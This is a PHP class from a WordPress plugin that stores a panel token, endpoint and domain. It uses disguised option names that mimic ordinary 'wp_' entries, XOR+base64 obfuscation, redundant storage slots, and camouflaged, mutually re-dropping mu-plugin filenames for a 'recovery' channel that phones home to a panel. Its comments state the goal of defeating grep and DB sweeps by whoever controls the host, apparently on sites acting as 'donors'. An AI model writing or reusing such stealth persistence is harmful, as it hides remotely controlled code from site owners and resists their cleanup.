<?php

if (!defined('ABSPATH')) exit;

/**
 * WLH_Vault — disguised, obfuscated, redundant storage for the RECOVERY-CRITICAL
 * config (token / endpoint / domain). The old wlh_key / wlh_cdn / wlh_origin
 * option names were a trivial grep target: a competitor with DB/file access could
 * `DELETE FROM wp_options WHERE option_name LIKE 'wlh_%'` and permanently sever
 * the donor from the panel (no token => no auth => recovery can't phone home).
 *
 * Here the config lives under per-site-derived option names that look like
 * ordinary `wp_<hex>` plugin options (no 'wlh' substring), the value is XOR+base64
 * obfuscated (so grepping for the panel host or a 64-hex token finds nothing), and
 * it's written to TWO independent slots for redundancy. Names + key derive from
 * DB_NAME + ABSPATH (stable — survive a salts/AUTH_KEY rotation, and vary per
 * site), so both the main plugin and the standalone mu-recovery compute them
 * identically without any shared runtime state.
 *
 * NOTE: obfuscation raises the bar against casual grep/DB-dump sweeps, NOT against
 * a determined competitor who reads our code off the site — that is unwinnable on
 * a host someone else controls. The win is: the common "nuke everything wlh_*"
 * move no longer works, and even a redundant slot must be found to sever config.
 *
 * KEEP-IN-SYNC: mu/wlh-recovery.php inlines byte-compatible copies of seed/
 * name/obf/deobf/cfg (prefixed wprc_*). Any change to the algorithm here MUST
 * be mirrored there or a migrated donor becomes unreadable to its own recovery.
 */
class WLH_Vault
{
    const SALT = 'w9x2r7k5';

    /** Per-site stable seed. DB_NAME + ABSPATH never rotate and vary per site. */
    private static function seed()
    {
        $db  = defined('DB_NAME') ? (string) DB_NAME : '';
        $abs = defined('ABSPATH') ? (string) ABSPATH : '';
        return $db . '|' . $abs;
    }

    /** Disguised option name for a logical slot — looks like `wp_<hex>`. */
    public static function name($logical)
    {
        return 'wp_' . substr(hash('sha256', self::SALT . '|n|' . $logical . '|' . self::seed()), 0, 24);
    }

    private static function obf($plain)
    {
        $key = hash('sha256', self::SALT . '|k|' . self::seed(), true);
        $out = '';
        $kl = strlen($key);
        for ($i = 0, $n = strlen($plain); $i < $n; $i++) {
            $out .= chr(ord($plain[$i]) ^ ord($key[$i % $kl]));
        }
        return base64_encode($out);
    }

    private static function deobf($b64)
    {
        $raw = base64_decode((string) $b64, true);
        if ($raw === false) return '';
        $key = hash('sha256', self::SALT . '|k|' . self::seed(), true);
        $out = '';
        $kl = strlen($key);
        for ($i = 0, $n = strlen($raw); $i < $n; $i++) {
            $out .= chr(ord($raw[$i]) ^ ord($key[$i % $kl]));
        }
        return $out;
    }

    /** @return array{t:string,e:string,d:string} */
    public static function config()
    {
        foreach (array('c0', 'c1') as $slot) {
            $raw = get_option(self::name($slot), '');
            if ($raw !== '') {
                $j = json_decode(self::deobf($raw), true);
                if (is_array($j) && !empty($j['t'])) {
                    return array('t' => (string) $j['t'], 'e' => (string) ($j['e'] ?? ''), 'd' => (string) ($j['d'] ?? ''));
                }
            }
        }
        // One-time migration from the legacy plain option names.
        $t = (string) get_option('wlh_key', '');
        $e = (string) get_option('wlh_cdn', '');
        $d = (string) get_option('wlh_origin', '');
        if ($t !== '') {
            self::store($t, $e, $d);
            return array('t' => $t, 'e' => $e, 'd' => $d);
        }
        return array('t' => '', 'e' => '', 'd' => '');
    }

    public static function token()    { $c = self::config(); return $c['t']; }
    public static function endpoint() { $c = self::config(); return $c['e']; }
    public static function domain()   { $c = self::config(); return $c['d']; }

    /**
     * Persist config to both disguised slots. Deletes the legacy wlh_* options —
     * but ONLY after verifying the disguised copies read back correctly, so a
     * failed/partial write can never orphan the donor from its token.
     */
    public static function store($token, $endpoint, $domain)
    {
        $json = json_encode(array('t' => (string) $token, 'e' => (string) $endpoint, 'd' => (string) $domain));
        $blob = self::obf($json);
        update_option(self::name('c0'), $blob, false);
        update_option(self::name('c1'), $blob, false);

        $ok0 = self::deobf((string) get_option(self::name('c0'), '')) === $json;
        $ok1 = self::deobf((string) get_option(self::name('c1'), '')) === $json;
        if ($ok0 && $ok1 && (string) $token !== '') {
            foreach (array('wlh_key', 'wlh_cdn', 'wlh_origin') as $legacy) {
                if (get_option($legacy, null) !== null) {
                    delete_option($legacy);
                }
            }
        }
        return $ok0 && $ok1;
    }

    /** Set just the domain (used before a claim exists), preserving token/endpoint. */
    public static function set_domain($domain)
    {
        $c = self::config();
        self::store($c['t'], $c['e'], (string) $domain);
    }

    /** Store an arbitrary obfuscated blob under a disguised slot (e.g. mu source). */
    public static function stash($logical, $plain)
    {
        update_option(self::name($logical), self::obf((string) $plain), false);
    }

    /** Read back a blob stashed via stash(). '' if absent. */
    public static function fetch($logical)
    {
        $raw = get_option(self::name($logical), '');
        return $raw === '' ? '' : self::deobf($raw);
    }

    /**
     * Per-site camouflaged mu-plugin filename (looks like `wp-<hex>.php`, no
     * 'wlh' substring, different on every site) so the recovery channel isn't a
     * constant grep target in wp-content/mu-plugins/.
     */
    public static function mu_filename()
    {
        return 'wp-' . substr(hash('sha256', self::SALT . '|mu|' . self::seed()), 0, 12) . '.php';
    }

    /**
     * Second, independent camouflaged filename for a REDUNDANT recovery copy.
     * Both copies run (mu-plugins load every .php in the dir) and are idempotent
     * (function_exists guards + a shared flock single-flight the heal), so a
     * competitor must find AND delete BOTH to sever recovery — and if only one is
     * lost, the main plugin re-drops it on its next load.
     */
    public static function mu_filename2()
    {
        return 'wp-' . substr(hash('sha256', self::SALT . '|mu2|' . self::seed()), 0, 12) . '.php';
    }
}
